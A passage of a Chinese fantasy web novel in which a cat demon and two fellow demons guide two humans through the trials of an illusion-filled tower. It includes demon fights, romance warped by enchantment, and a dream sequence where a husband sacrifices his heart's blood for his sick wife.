“呜呜呜好感人啊。”谢珍珠用手帕擦眼泪，“先前我见他们二人面上有茫然犹豫，还以为……原来他们是真正的有情人！”
胡和烈给某妖传音：“是你动的手脚？”
叶米：“我不过是除去了一半幻术，让他们脑子清醒点。这才算是他们心中的真实想法。”
“真实想法？他们当真受住了诱惑？”
“谁知道，不过脑子正常的人，谁听这塔灵说的话都会有怀疑吧？还带走一个算一个，这不是完全不顾世间的因果了？傻子才信。”而会信的就是被使了幻术的傻子。
不过……
她刚刚去除幻术
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时，感受到的幻术确实高超，这才导致她只去除了一半，幸好也是够的；可若是要给这些凡人设置关卡、让他们有一线生机可以取得杨枝甘露的话，这术法的强度应是中下才好，如今倒像是欺负人了。
有古怪。
叶米盯住那空中漂浮的白色光点，心里升起警惕。
万情贞自然是不乐意这二人通过考核的，但在他故意为难的情况下，他们还能突破幻术做出了正确选择，这也太感人了，他就是想不顾一切地耍赖——也得看在那三只妖潜在的威胁上，先给他们过了这一关。
“唉……”
两个凡人不知这仙人为什么要叹气，他们抬起眼睛，看着那光点的光亮慢慢地削弱、消散，直至不见了，连带着十几个杨薇薇和张伟一起消失，仿佛从未来过。
二人直觉脑袋一疼，紧闭着眼睛晃了晃脑袋，忽然感到许多舒心的清明感，他们很快意识到刚刚发生的一切，有种如梦初醒的恍惚。
“所以……”郝春玉轻轻舒出口气，哀愁地感慨道，“都是假的……”
陈嘉庆摸了摸自己的左臂，刚刚他“娘子”缠绕的余温好像还没散去：“真是奇怪，明明很是不对劲，但当时我却深陷其中，差点深信不疑……”
“你们中了幻术。”叶米猜想到后面两关也应是差不多的情况，便不打算隐瞒，“所以才会真假不辨。”
“啊？那该如何是好？”郝春玉面上浮现焦急，“还不知道要上几层塔才能找到杨枝甘露，若是之后我在幻术中走不出来，那我的伟郎……”
叶米心道那小塔灵的法术她还不放在眼中，正想让两人安心上塔，就听谢珍珠抽了下鼻涕道：
“陈公子、郝姐姐，不必太担心，只要你们二人足够诚心，一定能金石为开，就像刚刚那样，靠爱人的真心突破幻术的桎梏……”
“叶米，”谢珍珠又看向她，眼里还有感动的泪水，“你说是不是？”
虽说那幻术是被她破除了一半的，但若不是真心，这两个人也不会这么快就反应过来……
叶米配合地点了点头。
看她点头，谢珍珠就安心许多了，她朝二人笑了笑，见那二人也松了半口气，郝春玉还自我安慰地嘟囔：“我对伟郎自然是一片真心的……”
“喂。”胡和烈朝前方抬了抬下巴，“楼梯出来了。”
几人回头一看，那楼梯静悄悄地立在昏暗处，笔直地通向上方天花板挖空后漆黑的方洞，仿佛从来都没有消失过。
叶米率先迈了步子：“走吧。”
“……好。”
这梯子的年久失修程度从踩上去的脚感就能感受出来，嘈杂黏腻的“嘎吱”声，踩下去时仿佛脚下的木头都软了下去，让人不得不害怕下一脚就将它拦腰折断了。
这脚感让人不得不走得小心了一些，叶米走在最前头，再走几个台阶就要进第三层的结界中了，她不由得加快了一些脚步，但忽然脚下没由来地一滑——
“啊！”
9. 第 9 章
这一声当然不是她这只平衡力满分的猫妖发出的，她很快就稳定住了身形，回头一看，谢珍珠正倒在陈嘉庆的怀中，余惊未消地看着对方，澄澈的大眼睛在昏暗中亮得可以当灯泡，照亮了她微微泛红的双颊。
陈嘉庆关心道：“谢姑娘，你没事吧？”
谢姑娘有些结巴，不过她本来紧张时就容易结巴：“没、没事……”
叶米：？
她不知怎么，看着这二人你看我我看你的模样，心里泛起一股奇异的情绪，丝丝缕缕地绕着她的心脏，她说不分明，但细细感受一下，是不大舒服的。
正兀自新奇地感受着，忽然余光瞧见更后边的两人，幸好她站得高、视力好，这一抬眼就看见了——
胡和烈半抱着郝春玉，郝春玉又羞又不好意思地抬头看着他，这对的姿势居然和上一对有七八分的相似？
郝春玉说：“胡公子，多谢你拉了我一把，不然我就摔下去了……”
胡和烈盯着怀中人看：“……自己小心点。”
“好……”
叶米：。
搞什么？
“抱够了没有？”她听见自己冷冰冰地说，“还走不走？”
四人散开，各自尴尬地装着无事，理理衣服顺顺辫子。
叶米瞅了一眼，转身上了楼。
一上第三层，叶米就闻见了好大一股妖味，不仅浓还杂，闻起来就像泔脚混泔水的猪食，差点没给她呕出来，连忙闭了嗅觉。
胡和烈和谢珍珠自然也闻见了，憋着脸施决封闭嗅觉后，后者看着空荡荡的第三层，几步走到了叶米身后小声道：“妖味这么大，怎么不见一只妖……”
这塔没让她失望，谢珍珠话刚说完，昏暗的空间里凭空显出几十道更黑的身影，一层一层将他们包裹着，几人警惕地按兵不动，可其中有一只就贴着陈嘉庆的身侧，被他手中的油灯照亮了前半个身子，让他好幸运地看见了那只吐蛇信子的蛇妖。
陈嘉庆的眼睛越睁越大。
蛇妖朝他一笑，蛇信子就怼到他的眼前，勾起一双标准的对鸡眼。
“啊！！”
叶米抓着他的肩膀把他扔到边上，手指一挥斩断了半条灵活的蛇信子。
那蛇妖惨叫一声，打响了这场乱斗的第一炮。
陈嘉庆被叶米甩到后边，撞到一只长尖嘴巴的妖怪怀里，那妖怪头一转，鸟喙就抵着他的鼻尖，陈嘉庆吓得叫不出声，眼见那喙就要张开咬他，下一秒就有什么东西“gang”地一声，像剪掉猫指甲一般剪断了那长喙。
缺了尖叫的喙张开，发出一声不似人声的惨叫，陈嘉庆定睛一看，救他的是——
一只蟹钳？
……不是，是手变成蟹钳的谢姑娘。
“陈公子！”谢珍珠用还是人手的左手把陈嘉庆拉了过来，“你没事吧？”
陈嘉庆看看她的人脸，又看看她的蟹钳，再看看另一边乱甩着术法已经和那些妖们打起来的叶姑娘和胡公子，脑子有些转不过来：“你、你们原来不、不是人……”
谢珍珠只来得及说一声“我们都是好妖”，然后把他和郝春玉一起推到一个角落里，自己挡在前头，开始对付起叶米和胡和烈来不及应对的、过来找两个凡人的漏网之妖。
这些妖数量虽多，但修为不高，再加上多数都被叶米和胡和烈斩下，谢珍珠还能应对得过来。
被她护在身后的两人面面相觑，看到彼此眼中的惊惧，郝春玉小声地说话时，声音还有些抖：“这、谢姑娘他们应是好re、好妖……”
陈嘉庆的余光里一直有蟹钳在挥舞，他咽了下口水，觉得自己还有点幸运嘞：“是，如果不是他们，我们二人现在怕是死无全尸了。”
他们有功夫在这闲谈，另一边的叶米和胡和烈打妖怪打得只剩下残影了，这些妖怪修为不高，但数量多，二妖配合一下，你杀一只我杀一对，砍妖的速度倒是快，这不没一会儿，最后一只妖也死在了叶米的利爪下。
呼……
她喘了几口气，让身上的燥热慢慢冷却，双瞳慢慢恢复了寻常。调好状态，叶米转身正要和胡和烈说些什么，一扭头却发现他已经向另三人的方向走去。
叶米便跟上去，看到胡和烈在郝春玉面前站定，语气别扭地关心道：“喂，你没事吧？”
郝春玉看看精疲力竭的谢珍珠，又看看后边走来的叶米，小幅度地摇了摇头：“奴家没事……谢公子，你们没事吧……”
“小爷好得很。”胡和烈咧开一个得意的笑，“那些小妖菜得很，根本不是我的对手，再来一百只也是一样。”
郝春玉听他吹牛，放宽心地笑了笑，脸色还有些苍白：“胡公子威武非凡，奴家很是佩服。”
胡和烈一抬下巴，神色倨傲：“那是，可不比你那躺在棺材里的情郎厉害多了？”
郝春玉：？
她还以为自己听错了，茫然地抬起头看他，胡和烈却不知道自己刚刚说了伤人的话，盯着她又说：“你笑起来挺好看，以后多笑笑，最好只笑给我看。”
郝春玉吓得把嘴角拉了下来。
后边走来的叶米听胡和烈说了这两句话，嫌弃地看了他一眼，觉得这扑棱蛾子脑子多少有点毛病，不过她向来是懒得管脑子有毛病的人的，就没说什么，打算先问问陈嘉庆有没有受惊受伤……
……等等？她为什么要关心他的情况？
“陈公子，你有没有受伤？”谢珍珠把手上的蟹钳变回人手，两步挤到叶米前边、陈嘉庆面前，“那么多妖怪，是不是吓到你了？”
陈嘉庆朝她温和一笑：“我无大碍，倒是谢姑娘你……还有叶姑娘和陈公子，多谢你们三位的庇护。”
谢珍珠有些愧疚：“真是对不住，我们不是故意瞒着我们是妖的事的……”
“不不不，”陈嘉庆连忙摆摆手，“你们虽是妖，但都是好妖，而且看三位这么厉害，说出来不怕你们笑话，我这心里也踏实了几分。等之后取得杨枝甘露救了我娘子，陈
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某一定好好报答三位！”
“你、你真是满心满眼都是你的娘子……”谢珍珠眼里藏不住落寞，朝他艰难一笑，“好，我会帮你。”
陈嘉庆也不是没谈过恋爱的傻子，看谢珍珠这落寞的表情、失神的反应，怎么可能没有察觉，心里柔软又哀伤，欲言又止：“谢姑娘，你……”
“你们说够没？”叶米现在觉得脑子有问题的又多了一个，莫名不爽地打断二人的对话，“既然妖已除，那就继续……”
她话音未落，只听“xiu”的一声，有暗箭飞驰的声音在身后传来。
“小心！”
叶米还未有什么反应，胳膊就被扯了一下，眨眼间眼前就变成了一人的胸膛，她愣了半秒，听到谢珍珠惊慌地喊了一声“陈公子”，抬眼看见一根箭插在了陈嘉庆的后肩膀上。
陈嘉庆疼得直接跪了下来，一手捂着手上的肩膀，仰着脑袋朝她露出苍白吃疼的宽慰笑容：“叶姑娘……你没事就好……”
叶米：。
她怎么可能躲不过这么一根破——他居然为了救她，甘愿受了一箭，这世间居然有人能为她做到这地步上。
叶米说不感动是假的，不然这心头蛄蛹着的酸涩算什么呢？
众人去看他的伤势，谢珍珠尤其关心，眼眶红红道：“陈公子，你怎么这么傻呀？这一箭就算射到叶米身上，她是妖，很快就能恢复的……”
叶米心头蛄蛹着的酸涩就被这句话给踹开了，她不善地看向要哭不哭的谢珍珠，觉得这只螃蟹真是碍眼得很，好想串起来烤一烤。
“别这么说……”陈嘉庆的脸色愈发惨白，但还强撑着笑容道，“叶姑娘刚刚为了保护我们，和那么多可怖的妖怪打斗了许久，我替她挨这一箭，都是应该的。”
叶米听着，那蛄蛹的感动又要回来了，可她不知为何脱口而出：“假使我没有保护你有功，你还会替我挨下这一箭吗？”
陈嘉庆虚弱道：“当……”
叶米：“哪怕你会死，在你得到杨枝甘露救你的娘子之前。你愿意为了我一个相识没几个时辰的陌生人牺牲至此？”
陈嘉庆嘴角的笑一僵：“咳咳咳……”
叶米很能捕捉到别人僵住的表情，不管他们之后说什么，这都代表犹豫、口是心非，真正的答案与她想要听到的答案相悖。
她看着陈嘉庆因为不想回答而掩饰的咳嗽行为，心里的感动就消失了，这让她舒服了许多。
可她舒服了，谢珍珠却站了起来，为陈嘉庆打抱不平道：“叶米，你怎么能说这么过分的话？不管如何，陈公子为你挨了一箭是事实，你也知道自己于他而言就是个陌生人，有什么资格和他相伴半生的娘子作比较来为难他？”
叶米意外地看着她对自己发火，奇怪这只没用的螃蟹的胆子是什么时候长起来的？
一向看叶米不爽的胡和烈自然也不会放过讽刺臭猫的机会，抱着胸就嗤笑一声：“你现在才知道啊，这臭猫从来就是这么自以为是！”
10. 第 10 章
被两个同学谴责的怒火让叶米的注意力从陈嘉庆身上移开，她左瞥一眼气得脸红的螃蟹精，右睨一眼落井下石的胡和烈，一个也不打算放过：
“哦，说我不自量力？所以和我一样与这人相识不过一个时辰的谢珍珠，你有什么资格心疼他受伤、甚至代替他谴责我？还有你扑棱蛾子，你是觉得在死了爱人的女人面前说她的爱人像废物一个只能躺在棺材里、还让她只笑给你看的行为很正常是吗？”
她这话一出，连带着她自己，二人三妖都是一愣，只觉得脑子里的思绪忽然杂乱起来，千丝万缕地在里头群魔乱舞着，影影绰绰地遮住了什么，想要努力地去看，却怎么也瞧不分明。
这算不上头疼，但很是难受，像思考一道很熟悉的算术题，但却找不到切入口——叶米不喜欢算术题，她觉得对她成仙大业的促成没多大用处，还不如多去练练体能、术法……
话扯远了，反正她敲了敲脑子，决定先不做这道题：“……别耽误时间了，先去楼上。”
“哦、哦……”谢珍珠摇摇脑袋，甩走一点糊涂，但低头看见肩上还插着箭的陈嘉庆时，又开始心疼了，“可是陈公子的伤怎么办？”
叶米说：“不好办吗？”
她半蹲下来，趁众人都还没想明白她要做什么的时候，直接伸手将那根箭拔了出来，陈嘉庆一瞬间还是愣住的，听见“啪”的一声，转头看到扔到地上的箭时，才恍然疼痛起来，“啊”地惨叫了一声。
谢珍珠也尖叫：“叶米！”
叶米在他的伤口上施了术法，她是猫，自然没有学习那些药草妖与生俱来的治疗术的天赋，这会只是给陈嘉庆止住血罢了：“办好了。”
谢珍珠：……
疼得失声的陈嘉庆：……
胡和烈包裹里有伤药，但他是不会给这个谁用的，不过这坦荡的袖手旁观并不影响他对叶米挑刺：“你管这叫疗伤啊？止了血不会死就行？”
“不然呢？”叶米瞥了眼地上沾着血的箭，语气非常理所当然，“这箭上没毒，伤口也不大，就是不止血也没事。”
谢珍珠可怜地看着可怜的陈嘉庆：“可是陈公子很疼呀！”
叶米觉得这螃蟹妖笨得可怜：“受了伤哪有不疼的？过一会就习惯了。”
谢珍珠：……
“没、没事……我没事。”陈嘉庆坚强地露出苍白的微笑，“多谢叶姑娘帮我疗伤，男子汉大丈夫，这点小伤确实不值一提。”
叶米看他额头上的细汗、表情的逞强，心头又蛄蛹起令她不爽的情绪，她眉头一皱，居然说了软话：“那不如尽快拿到杨枝甘露，你也好出去看大夫。”
陈嘉庆的笑脸转向她：“好……”
叶米盯他的笑脸，突兀地冒出一个想法：这陈嘉庆长得还真是……耐看。
这个想法一冒，她自己先起了身鸡皮疙瘩。叶米讨厌人类，她看人一般是不给正眼的，更是很少会对这些凡人有什么正面的评价。
可她这会儿看着陈嘉庆，感觉自己的心脏扑通了一下，好像掉到了原本的位置下方，坠在那儿像没割干净的一块烂肉，让她恶心。
叶米深呼吸一下，尽量不去再感受，她还记得要做正经事：“……走吧。”
“陈公子，”谢珍珠轻轻扶住陈嘉庆的胳膊，“我扶你起来。”
叶米莫名不乐意看到陈嘉庆的胳膊上扒拉着螃蟹，便先一步把陈嘉庆拎了起来，这属实吓了后者一跳，还扯疼了他的伤口，但叶米没在意，只是抓着他走：“我扶你。”
衣领都被揪歪了的陈嘉庆：……
谢珍珠着急地跺了下脚：“叶米，你不要这么粗鲁！”
叶米觉得这螃蟹精对她是越发不礼貌了，她感到一丝不爽，但不等她扯着陈嘉庆走两步，前边的空地上忽然又冒出了几十道黑影。
又来？
叶米眉头一皱，一下又把陈嘉庆扔了回去，还不忘嘱咐谢珍珠：“看好他。”
陈嘉庆被谢珍珠扶住，额头上的汗水从脸侧流了几滴下来，苍白的双唇说明他现在老疼了。他不由得想，这么多妖怪都没伤到他，现在疼得要死还是拜叶姑娘所赐……
虽说叶姑娘也不是故意的，但他多少有点哭笑不得。
局面和第一轮差不多，有谢珍珠保护陈嘉庆和郝春玉，叶米和胡和烈在前线迎战。
打着打着，胡和烈发现不对劲了，抽空和叶米道：“喂，这些妖和刚刚被打死的那些好像。”
叶米自然也发现了：“我看是一模一样。”
“怎么回事？它们打不死？还是我们没让它们死透？”
叶米没回话，竖着猫瞳看了看，看不出是不是幻术。她一边踹飞扑来的老鼠精一边在脑海里理了一下思绪，这时候才想到一个小细节：她们一进第三层的时候就觉得妖味冲天，臭得很，便封闭了嗅觉。
而分辨是不是妖有两个办法，一个是看魂，而是闻味。
叶米飞快解开嗅觉，皱了皱鼻子一闻——
一点妖味都没有。
被摆了一道。
可这些幻觉和第二层作用于陈嘉庆和郝春玉脑海中的那种不同，还能伤到他们，应是结界的一种，那么过关的方法就不是杀了这些妖，而是找到破界的方法；再看这些妖怪虽说各有种类和样貌，但有一个共同点：黑。
不是肤色黑，是周身缠绕着黑气，而这第三层几乎没有光线，有九分的昏暗，只到能辨别谁是谁的程度，叶米便推断阴暗的环境是这些妖怪产生的必要前提，那么破界的关键应该也是和光线有关……
塔里没有灯，怎么才能有光？
叶米向来是聪明过妖的，她立刻便想明白，朝胡和烈喊道：“用你的螫针破窗！”
用法术不行，她先前试过了。
胡和烈讨厌叶米，但这讨厌不影响他对她在某些方面的信任，比如在聪明和实力方面，再讨厌她的妖和夫子都是不能否认这一点的。
他甩着自己
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的武器——这是一根细长的银色棍子，两头是人工无法削成的尖而锋利，不仅刺人的时候疼，上边还有毒素，被刺中者虽说不致死，但肢体会慢慢麻木、僵硬，神智会变得有些迟钝糊涂。
他们虎头蜂妖一族的武器都是由自己身上的螫针制成的，不用时可以隐入体内，相当于是自己身体的一部分——所以当叶米嘲笑他的螫针是绣花针的时候，他才会发誓要和这只臭猫势不两立。
话说回来，胡和烈甩着他的螫针将三只妖串在上边，然后利用惯性扔到妖群里，暂且争取了几秒时间后，跑到窗边，使劲儿朝那布满蜘蛛丝和灰尘的窗上一砸——
“铮”的一声，窗户反弹而来震感，不过这点小反击对胡和烈算不上什么，他还是稳稳地拿着螫针，看见窗户上出现细密的细纹之后又锤了一下，这才让那些支离破碎的玻璃“噼里啪啦”地掉了下来。
大片的阳光像挣脱了牢笼般涌入。
胡和烈转头一看，被阳光照亮的一片区域，那些妖怪仿佛毫无知觉地消失了，像蒸发的晨雾一般。
他挑了下眉，看见另一半的昏暗处，叶米还在打妖怪，便又去她那边砸窗户。砸了三扇窗后，妖怪便全都消失了，塔里亮堂了不少，光线照出空中漂浮的灰尘。
大家都松了口气。
胡和烈神经一松，莫名其妙就想去关心一下那被保护得好好的、可怜又可爱的郝春玉，便转身去关心了。而郝春玉见了他的英姿，对他也是笑意盈盈地又赞又夸。
叶米扒拉开缠在她手臂上的蛛丝，瞧见一些新伤旧疤，又想起陈嘉庆替自己挡住的那一箭。
谢珍珠见妖怪都消失不见了，心下松了口气，本想宽慰陈嘉庆几句，抬眼却见他望着叶米的背影，语气很是崇拜地喃喃道：“叶姑娘真是好身手……”
谢珍珠伤心地瘪了下嘴。
几人各怀心思，好在第二关总是过了。
往第三层走的时候，叶米听着谢珍珠和陈嘉庆伴着木头嘎吱的说话声，心下越发不爽利起来，他们说到杨枝甘露，叶米就觉得要不是她，这四个废物估计死在哪里都不知道……
想到这里，她不得不有些奇怪了，先不说第一关，这第二关没有她和胡和烈这般能打的妖，单凭两个凡人该如何过关登塔？如此难度，难道这杨枝甘露其实是诱引凡人来送死的陷阱？
可是观音菩萨不会有这样的恶趣味。
先前的传闻里也说过，那些隔壁村的人都活着回来了。
叶米越动脑子，越觉得思绪清明了许多，她隐约觉得这些关卡也许是针对他们三妖来的，只是……
还没等她想明白，第三层到了。
叶米睁开眼，发现自己正坐在街边某户人家门前的台阶上，她有些不明所以，忽然觉得脸上有什么东西痒痒的，便伸手摸了一把，原来是湿漉漉的眼泪，叶米老早不记得上一次哭是什么时候、为了什么……
但这暂且不重要，重要的是为什么她的手变小了？
11. 第 11 章
她正奇怪着，忽然边上坐下来一个人，叶米转头一看，是一个有点眼熟但不认识的小男孩，再看他的手，和她的差不多大，叶米便知道自己现在也是这十岁小孩的模样。
这破塔又搞什么……
“薇薇，你别伤心了。”小男孩坐在她边上后，递过来一个冰糖葫芦，“这是你最喜欢吃的冰糖葫芦，快吃吧！”
薇薇？
叶米自然想到杨薇薇，再看这小孩的模样，好像和陈嘉庆有几分相似？所以她现在是杨薇薇，和陈嘉庆回到了他们小时候？
“薇薇？”陈嘉庆将手上的糖葫芦又朝她递了递，“你吃呀，放心，我还有一些月例银子，不怕不够用的。”
“不用你给我买，”并不喜欢吃冰糖葫芦的叶米没接过来，“我想吃自己会买。”
陈嘉庆拿着糖葫芦的手一顿，奇怪道：“薇薇，可是你爹娘不是不给你月例了吗，你哪来的钱？”
叶米：什么抠门爹娘。
“……没有就不买。”
“唉，你还在伤心是不是？”陈嘉庆谅解地把糖葫芦塞到她手上，又拍拍她的手背道，“其实你妹妹刚出生，要花银两的地方多了，家中拮据，你娘不能给你买新衣裳也是没办法的事。”
叶米闻言，低头看了看自己身上的麻布衣服，灰扑扑又土里土气的，还没她自身的毛色好看，淡定的语气里透着明显的嫌弃：“这种丑衣服，再来件新的也没意思。”
陈嘉庆只以为她是气在头上，嘴硬呢，但还是配合地笑道：“好、好，等我长大了赚了许多钱，我要给你买最漂亮、最贵的嫁衣，让你做最美的新娘子，风风光光进我陈家的门，以后天天都有好看的新衣服穿！”
叶米嘴巴一抽就想吐槽什么，但瞧见陈嘉庆笑意盈盈的双眼，里边满心满眼都是她……还是杨薇薇，这些不重要，反正她忽然觉得这天真欢喜的承诺是他能想到的最美好的祝愿，不管怎么说，他是盼着她好的。
看着他那张普通的小孩脸，叶米竟然觉得他有几分可爱。
“嗯。”她听见自己说，“我等着那一天。”
陈嘉庆欣喜一笑，凑过来抱住了她，叶米的身体安分地回抱住了对方，但脑子很诚实地觉得有些不对劲，甚至不知道为什么，好像有个声音在吵，说什么“他亲这个女娃娃的嘴”。
……这声音好熟悉，熟悉的讨厌。
叶米眼睛微眯，抱着陈嘉庆的手慢慢握了拳，这时又瞧见对边走过来一男一女两个十岁小孩，牵着小手晃啊晃的，两只胳膊紧紧贴在一起，四目相对着，两张稚嫩的脸上浮现青涩的情意绵绵。
她皱了下眉头，感到古怪的正常，还没等她再想，陈嘉庆放开了她，好吧也不算完全放开，只是双手托着她的肩膀，闭着眼睛嘟着嘴巴，朝她靠近了——
叶米这时候完全没有多余的想法，但她的拳头有。
脸上挨了一拳的陈嘉庆捂着脸惨叫一声，诧异地看向面前的小女孩：“薇薇，你……”
叶米看了看自己的拳头，又看了看他，心里莫名舒服多了。
还没舒服多久，脑子里“轰”的一声，她捂着脑袋闭上了眼睛，在极度的思绪混乱中睁开眼，看见架子床上雕着海棠纹的顶盖，米色的帐幔被放了一层下来，影影绰绰地透出屋里的情景。
叶米发现自己是躺着的，便想撑着身子起来，但胳膊肘刚抵住床板，却使不上劲儿，整个人软绵绵得不可思议，生起来的力像往空谷里吹了口气，去哪里都不知道了，还没怎么呢，心脏就砰砰砰地开始矫情地喊累。
搞什么？
叶米瘫在床上喘着气想，她怎么变得这么弱了？
喘着喘着，她又咳嗽了两声，这下进出气都有些不顺畅。
叶米开始想死——然后她发现自己连咬舌自尽和上吊的力气都没有，也许爬出去找个湖跳下去溺死都要好几天爬。
就在她思酌更多能轻松地去死的方法的时候，听到了门开的声音，很快就有人走到她的床边，掀开了帐幔坐在她的床边。
叶米转过眼睛，看到一张熟悉的脸。
“娘子……”陈嘉庆握住她的手，放在手里捂了捂，心疼道，“你的手这么凉……我吩咐丫鬟再给你加一个汤婆子。”
叶米张了张嘴，感受到他手上传来的温度，说话的声音虚弱，但还是抓住了重点：“……你叫我什么？”
陈嘉庆闻言，露出一个苦涩的笑来，他用压抑着悲伤的喜悦说：“我真是迫不及待地要和你说这件事，我娘和我爹，他们终于松了口，同意我娶你了，这声娘子，我叫得名正言顺……你高不高兴？”
叶米实话实说：“没力气高兴。”
陈嘉庆听她的声音有气无力忍不住鼻子一酸，落下眼泪来：“是我对不住你，是我对不住你……”
叶米看他哭了，有些莫名其妙，但心里的酸涩和心疼在她无力的身体上快要实质化了，简直是雪上加霜的虚弱，她看着他抹眼泪，听他自责的话，忍不住问：“是你害我变成这样？”
“是……”陈嘉庆难言悲伤，“如果不是我没用，找不到厉害的大夫来救治你的天生顽疾，你怎么会缠绵于床榻这么多年……都是我没用……”
天生顽疾？
叶米翻了个白眼，心想原来是她爹妈害的，差点就要恨他了呢：“……别哭了，吵得我脑袋疼。”
“好，不哭了。”陈嘉庆抽了抽鼻子，抹去眼泪，露出一个宽慰的笑来，“婚事将近，我该高兴才是，兴许这喜气一冲，你的病就好了呢？”
叶米：“做咳咳咳……”梦呢？
“娘子，你好生休息吧。”陈嘉庆连忙让她静心，“我不打扰你，先去准备婚宴事宜，这阵子可有得忙了，你要是想找我，就吩咐丫鬟来喊，我一定马上赶来见你。”
叶米深呼一口气压下喉咙的不适，一句话都没力气说，只点了点头。
陈嘉庆走了，帐幔被重新放下，他似乎想让她好生休息，就贴心地多放了几层，将外头的情况完全遮
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住了。
叶米躺在床里，看着右边密不透风的轻柔帐幔，又看看左边泛黄的墙面，再瞅见架子床方正的顶盖，觉得自己和躺在棺材里也没什么区别。不过她自己倒是和棺材里的死人有些区别的——死人躺得比她舒服。
她觉得自己不该躺在这里，似乎有什么重要的事情等着她去做，但一动脑子去想，脑子就好累，累得想睡觉。
后来叶米也不知道自己睡着没，也许在这棺材里，睡着比醒着更好些，死去比要死不死更好些，什么都不想比瞎想要更好些。
只是躺了这么一会儿——不对，她好像躺了很久了，起码也有几个月，说不定好几年都有了呢。她睁开眼睛，看见顶盖上的海棠雕纹，闭上眼睛，又看见顶盖上的海棠雕纹。
叶米不知道自己是醒着还是在做梦，有些人做梦会梦得乱七八糟，这就挺好分辨的；但她连这床架子都梦不出去，便觉得这世间也不过这床这么大，天是木头做的，有海棠雕纹，地是柔软的床榻，布衾压得她起不来身。
天地之间，只有她自己了。
……哦，还有偶尔传进来的一些丫鬟的、刻意压抑到让她能听见的程度的小声议论，比如：
“少爷真是痴情，这么一个病秧子都对她这么好，还非她不娶呢！”
“唉，前几天那场婚事办得真是让人糟心，你哪里见过新娘子被人背着去拜堂成亲的？老爷夫人都气死了！是我我也觉得丢脸。”
什么……她成亲了？有这回事？
“张府的千金人美心善身子还健朗，在马上绕村子骑个来回都不见喘气的，这样的佳人心许我们少爷，甚至愿意为爱做小，少爷为何不动心呐？”
骑马算什么，她还会……还会……什么来着？
“欸，你们少说两句。照我看啊，少爷与小姐之间的爱才是真情，你们问问，这世间能做到这样生死不离的人能有多少？只盼上天有眼，快些让小姐好起来，能让他们二人共白头吧……”
真情？她这样跟死人没区别的人，为什么会有人对她有真情？
那陈嘉庆怕不是个傻的……可是没了他，她是不是早死了？真是想想就开（划掉）伤心呢。
“我听说少爷打探到消息，多情塔里有观音娘娘的杨枝甘露，不止能治病，还能让死人起死回生呢！”
“可是那多情塔里不是危险重重，听说很多人活着进去都没出来，能出来的都是……神志不清的疯子。”
“啊……”
杨枝甘露。
叶米睁开眼睛，似梦似醒的思绪忽然清醒了一些。
床边的帐幔被掀开，稀释了一些棺材里的药味，叶米看着陈嘉庆憔悴的笑脸，知道自己不是在做梦：“你怎么……”
嗯？她的声音怎么这么沙哑？
“娘子。”陈嘉庆又捂住她的手，朝她露出一个慰藉的笑，“有个好消息告诉你，我已经知道了救你的办法，这次一定能让你恢复健康。”
叶米：“杨枝甘露？”
12. 第 12 章
“你听说了？”陈嘉庆一愣，随即又笑开，“是，所以我得走一趟，这几日不能来陪你了。”
叶米静静地看着他……主要她也吵不起来，说话都得挑着关键词说，好省点力气：“很危险。”
“为了你……”叶米感到他握着自己手的力度紧了紧，“我做什么都愿意，哪怕是上刀山下火海也在所不辞。”
叶米没忍住笑了一下，为啥笑她也不知道。
陈嘉庆帮她掖了掖被子，站起身时，那欲说还休的眼神一直盯着她苍白瘦削的脸庞，仿佛能牵引出绵长的情丝。
叶米感觉有蜘蛛丝在自己脸上飘，又痒又烦，侧过脑袋蹭了下枕头。
“等我回来。”陈嘉庆看着爱人，柔和而坚定地说。
“嗯。”比起这个，她有个要紧事，便虚弱道，“对了，帐幔就……”
“好，我给你遮严实点。”
叶米：。
陈嘉庆把棺材合严实后就走了。
叶米刚开始感到一点愤怒，但很快，一股熟悉的自闭就侵蚀了她，这次的自闭有些不同，绝望中夹杂着些许希望，让她感到自己还是个活人。只是这点希望就全寄托在陈嘉庆身上了，叶米不由得多想想他。
叶米的床架子方寸里就挤进来一个陈嘉庆……她有时候是觉得很挤的，但没力气把人家推出去。
每次产生“把他推出去”这个念头的时候，叶米觉得自己该怎么做，可偏偏她没有力气，真是觉得无奈，慢慢地又不想做无用功，想得就越来越少了，仿佛也接受了陈嘉庆时不时在她脑海里出现一下。
不知道过了多久，大概陈嘉庆在她脑子里闪现过一千次，这次是真的出现了，脸上多了一些疤痕，身上的衣服也破破烂烂的。
叶米一直有着渺茫的、逃离棺材的希望，急得他要救她的事，想问他“杨枝甘露”呢，一开口却是：“你受伤了。”
“我不要紧。”陈嘉庆用流血的嘴角朝她挤了个笑，眼里有明显的哀伤，看得叶米很是心疼，他惭愧道，“我拿不到杨枝甘露，那塔里处处是险境，有数不清的妖魔鬼怪，我侥幸逃了出来。”
什么？真是没用的废——看他伤成这样子，叶米哪里还忍心责备他，只朝他悲伤一笑，很小幅度地摇了摇头：
“……你没事就好。”
“但是我有另一个办法。”陈嘉庆说，“也能救你。”
叶米死了的希望又活了一点：“什么？”
他顿了顿，低头从哪里掏出一把锋利的匕首来。
叶米一看这玩意，心脏颇为健康地狂跳了一下，似乎想做出什么反应，但很可惜，这短暂的条件反射没啥用，她又虚弱地问：“你要做什么？”
刀尖闪过一道光，照亮他坚定的目光：“那位神仙告诉我，只要你服下爱你的人的心尖血，便能得救。娘子，我是这世间最爱你的人，我可以救你。”
叶米不合时宜地又笑了一下，她也不知为啥，幸好陈嘉庆没看见。
“不……不要……”她的眼睛很是顺畅地流出了泪水，“不要为了我……”
“娘子，”陈嘉庆也哭了，他连鼻子也哭了起来，但嘴巴还是笑着的，就是笑得有些抽抽，“我们此生无缘，来世再见。”
“不……”
陈嘉庆最后看了她一眼，兑现了自己为她上刀山下火海在所不辞的诺言，刀尖刺入心脏，他倒在床榻边上，一滴血却腾飞而起，落在了叶米的唇中，滋润了那枯树皮般的唇瓣。
这简直是灵丹妙药，不过是转瞬之间，叶米疑似恢复了所有力气和和手段，她先是感到了莫大的悲伤，脑子都还没接收过来，就扑到了陈嘉庆身上，大声大声地哭了起来，流下了许多的泪水。
为什么、为什么有情人不能终成眷属？
为什么！
叶米哭得脑子肿胀，她想冷静一下，但是压抑不住自己的悲伤、也控制不了流泪不停的眼睛，真是要命的情伤。
没过一会她就哭累了，用手抹去鼻涕、深呼吸了几下，闭着眼睛靠在陈嘉庆还没凉透的尸体上，泪珠不断从闭合的上下睫毛里流出来。幸好深呼吸让她慢慢冷静了，胸口起伏也小了一些，这让她看起来像是睡着了。
其实她的大脑还在不断地伤心，甚至自暴自弃：
他为了我做到了这般地步，甚至一命换一命，我哪里值得呢？要不我也随了他去吧，没了他，这世间也没什么可留恋……
“呜呜呜真感人，嘿嘿，我写得真好。”
